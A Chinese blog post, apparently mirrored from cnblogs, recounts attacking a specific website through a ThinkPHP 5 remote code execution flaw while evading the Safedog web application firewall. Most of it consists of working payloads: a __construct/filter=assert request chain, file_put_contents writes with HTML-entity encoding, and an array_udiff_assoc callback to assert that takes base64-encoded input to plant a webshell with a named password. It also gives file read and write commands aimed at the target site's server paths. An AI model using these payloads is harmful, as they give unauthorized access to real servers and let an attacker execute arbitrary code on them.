zoukankan      html  css  js  c++  java
  • tp5漏洞payload过waf(安全狗)

    搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,过滤了很多敏感字符,比如eval,copy等等

     

     这里我想到了二个思路:

    ①   使用copy()或者file_put_contents()函数写入过狗一句话代码,并且接收payload的参数经过base64解密,对应的传参经过base64加密;

    ②   在tp 5的POC上利用assert函数执行eval函数,eval函数使用$_REQUEST数组接收参数,并且接受的参数经过base64解密,对应的传参也要经过base64加密

       

    艰辛的过程:

    ①    

    _method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")
    

     

     <进行了过滤,只要<xxxxx都会被过滤,用HTML实体编码&lt;绕过,注意需要url编码,也可以使用copy函数

    后面测试发现能解析的路径没有权限,并且不能创建php文件

    ②    

    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==

    使用array_udiff_assoc函数回调assert函数,参数经过base64解密,这样就能直接连接webshell管理工具,密码是123,webshell管理工具的payload要经过base64加密

     

    最终payload使用eval函数,密码1


    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==

    附测试过程用的函数:

    file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 读取文件

    print_r() 输出函数,echo和print是语言结构

    file_exists() 判定某个文件是否存在                

    file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 写入文件

    array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三个参数是回调函数,第一个参数和第二个参数调用回调函数进行比较,返回值是数组

  • 相关阅读:
    Selenium中解决输入法导致sendKeys输入内容与预期不一致的问题
    java代码中启动exe程序最简单的方法
    安装node.js
    安装MongoDB流程。
    阿里云RocketMQ定时/延迟消息队列实现
    Camunda工作流引擎简单入门
    因是子静坐养生汇编PDF下载-蒋维乔
    倪海厦天纪系列之天机道
    倪海厦天纪系列之地脉道
    张志顺老道长八部金刚功长寿功PDF下载
  • 原文地址:https://www.cnblogs.com/supdon/p/13469851.html
Copyright © 2011-2022 走看看